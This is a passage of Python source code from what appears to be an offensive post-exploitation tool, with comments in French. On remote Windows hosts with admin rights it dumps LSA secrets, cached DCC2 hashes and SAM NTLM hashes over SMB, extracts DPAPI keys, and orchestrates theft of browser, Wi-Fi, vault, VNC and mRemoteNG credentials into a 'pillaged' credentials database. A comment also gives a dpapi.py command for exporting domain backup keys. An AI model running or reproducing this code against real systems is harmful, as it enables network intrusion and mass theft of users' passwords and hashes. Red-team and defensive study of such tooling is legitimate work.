|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
|
|
self.logging.debug(ex)
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
|
|
# on a pas su le dechiffrer, mais on conseve la masterkey
|
|
'''if localfile not in user.masterkeys:
|
|
user.masterkeys[localfile] = None'''
|
|
if user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
user.masterkeys_file[guid]['status'] = 'decryption_failed'
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],decrypted_with='', decrypted_value='',
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return -1
|
|
elif user.masterkeys_file[guid]['status'] == 'decrypted':#Should'nt go here
|
|
return user.masterkeys_file[guid]
|
|
|
|
def test_remoteOps(self):
|
|
try:
|
|
#Remove logging
|
|
#logging.getLogger().setLevel(logging.CRITICAL)
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}")
|
|
self.__remoteOps = RemoteOperations(self.smb, self.options.k, self.options.dc_ip)
|
|
self.__remoteOps.setExecMethod('smbexec')
|
|
self.__remoteOps.enableRegistry()
|
|
self.__bootKey = self.__remoteOps.getBootKey()
|
|
self.logging.debug("bootkey")
|
|
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
|
self.logging.debug("savesecurity")
|
|
self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps,isRemote=True, history=True)
|
|
self.logging.debug("LSASecret")
|
|
self.__LSASecrets.dumpCachedHashes()
|
|
self.logging.debug("dump cached hashes")
|
|
self.__LSASecrets.dumpSecrets()
|
|
|
|
filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), 'LSA')
|
|
Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True)
|
|
self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}")
|
|
finalfile=self.__LSASecrets.exportSecrets(filedest)
|
|
self.logging.debug("ret file %s" % finalfile)
|
|
self.__LSASecrets.exportCached(filedest)
|
|
#Analyser les hash DCC2 pour un export massif.
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps LSA")
|
|
self.logging.debug(ex)
|
|
try:
|
|
tmp_filedest=filedest+'.secrets'
|
|
f=open(tmp_filedest,'rb')
|
|
secrets=f.read().split(b'\n')
|
|
f.close()
|
|
for index,secret in enumerate(secrets):
|
|
if b'dpapi_machinekey' in secret:
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}")
|
|
#print(secret.split(b'dpapi_machinekey:')[1])
|
|
self.machine_key.append(secret.split(b'dpapi_machinekey:')[1])
|
|
self.logging.debug(self.machine_key)
|
|
if b'dpapi_userkey' in secret:
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}")
|
|
self.user_key.append(secret.split(b'dpapi_userkey:')[1])
|
|
self.logging.debug(self.user_key)
|
|
if b':' in secret:
|
|
if secret.count(b':')==1:
|
|
username,password=secret.split(b':')
|
|
if username.decode('utf-8') not in ['dpapi_machinekey','dpapi_userkey','NL$KM']:
|
|
if username.decode('utf-8') not in self.options.credz:
|
|
|
|
self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')]
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
|
|
|
|
else:
|
|
if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
|
|
self.options.credz[username.decode('utf-8')].append(password.decode('utf-8'))
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='LSA',
|
|
credz_username=username.decode('utf-8'),
|
|
credz_password=password.decode('utf-8'),
|
|
credz_target='',
|
|
credz_path=tmp_filedest,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username='MACHINE$')
|
|
|
|
else:
|
|
self.logging.debug("Secret %i - %s"%(index,secret))
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps Secrets")
|
|
self.logging.debug(ex)
|
|
|
|
try:
|
|
##Add DCC2
|
|
|
|
tmp_filedest=filedest+'.cached'
|
|
f=open(tmp_filedest,'rb')
|
|
secrets=f.read().split(b'\n')
|
|
f.close()
|
|
for index,secret in enumerate(secrets):
|
|
if b':' in secret and b'#' in secret:
|
|
if secret.count(b':')==1:
|
|
username,password=secret.split(b':')
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='DCC2',
|
|
credz_username=username.decode('utf-8'),
|
|
credz_password=password.decode('utf-8'),
|
|
credz_target='',
|
|
credz_path=tmp_filedest,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username='MACHINE$')
|
|
|
|
else:
|
|
self.logging.debug("Secret %i - %s"%(index,secret))
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps LSA DCC2")
|
|
self.logging.debug(ex)
|
|
|
|
try:
|
|
#Add SAM
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}")
|
|
SAMFileName = self.__remoteOps.saveSAM()
|
|
self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True)
|
|
self.__SAMHashes.dump()
|
|
filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), 'SAM')
|
|
self.__SAMHashes.export(filedest)
|
|
#Adding SAM hash to credz
|
|
tmp_filedest = filedest + '.sam'
|
|
f = open(tmp_filedest, 'rb')
|
|
sam_data = f.read().split(b'\n')
|
|
f.close()
|
|
for sam_line in sam_data:
|
|
if b':' in sam_line:
|
|
if sam_line.count(b':')==6:
|
|
username,sid,lm,ntlm,_,_,_=sam_line.split(b':')
|
|
#On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
|
|
'''
|
|
if username.decode('utf-8') not in self.options.credz:
|
|
self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')]
|
|
else:
|
|
if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
|
|
self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8'))
|
|
'''
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='SAM',
|
|
credz_username=username.decode('utf-8'),
|
|
credz_password=ntlm.decode('utf-8'),
|
|
credz_target='',
|
|
credz_path=tmp_filedest,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username='MACHINE$')
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}")
|
|
#logging.getLogger().setLevel(logging.DEBUG)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps SAM")
|
|
self.logging.debug(ex)
|
|
self.__remoteOps.finish()
|
|
return 1
|
|
|
|
def GetRecentFiles(self):
|
|
myRecentFiles = recent_files(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
|
|
myRecentFiles.run()
|
|
|
|
def GetMRemoteNG(self):
|
|
from software.manager.mRemoteNG import mRemoteNG
|
|
myMRemoteNG = mRemoteNG(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
|
|
myMRemoteNG.run()
|
|
|
|
def GetNew_Module(self):
|
|
myNewModule = new_module(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
|
|
myNewModule.run()
|
|
|
|
def do_test(self):
|
|
|
|
try:
|
|
if self.admin_privs and True:
|
|
#self.do_info()
|
|
self.do_who()
|
|
self.get_users()
|
|
#
|
|
|
|
if self.options.no_remoteops == False:
|
|
try:
|
|
self.test_remoteOps()
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
#self.
|
|
if self.options.no_dpapi == False:
|
|
self.get_masterkeys()
|
|
self.Get_DPAPI_Protected_Files()
|
|
self.GetWifi()
|
|
self.GetVaults()
|
|
if self.options.no_browser == False:
|
|
self.GetChormeSecrets()
|
|
self.GetMozillaSecrets_wrapper()
|
|
if self.options.no_vnc == False and self.options.no_sysadmins == False:
|
|
self.GetVNC()
|
|
if self.options.no_sysadmins == False :
|
|
self.GetMRemoteNG()
|
|
if self.options.no_recent == False:
|
|
self.GetRecentFiles()
|
|
"""
|
|
***Dev your new module code and start it from here
|
|
|
|
if self.options.no_new_module == False:
|
|
self.GetNew_Module()
|
|
"""
|
|
|
|
#self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
|
|
#for user in self.users:
|
|
#user.resume_user_info()
|
|
#user.resume_secrets()
|
|
#else:
|
|
#NOT ADMIN
|
|
self.quit()
|
|
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Not connected")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
|
|
def get_secrets(self):
|
|
all_secrets={}
|
|
for user in self.users:
|
|
all_secrets[user]=user.get_secrets()
|
|
|
|
|
|
|
|
# DPAPI unprotect
|
|
# DPAPI decryptMasterkey
|
|
# DPAPI GetDomainBackupMasterKey
|
|
# dpapi.py backupkeys -t TOUF/Administrateur:xxxxx@10.0.0.10 --export
|
|
#to get Dropbox decrypted databases?
|
|
# to get iCloud authentication tokens?
|
|
# to decrypt EFS files
|
|
|
|
#ADConnect 'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf'
|
|
#Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf
|
|
#optimisation :
|
|
#le user est il du domain ou local ?
|
|
#dans quel cas peut on dechifffrer avec les hashs ? // si compte admin on se sert des hash locaux/sam ?
|
|
|
|
#DEV : [get_file] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.)
|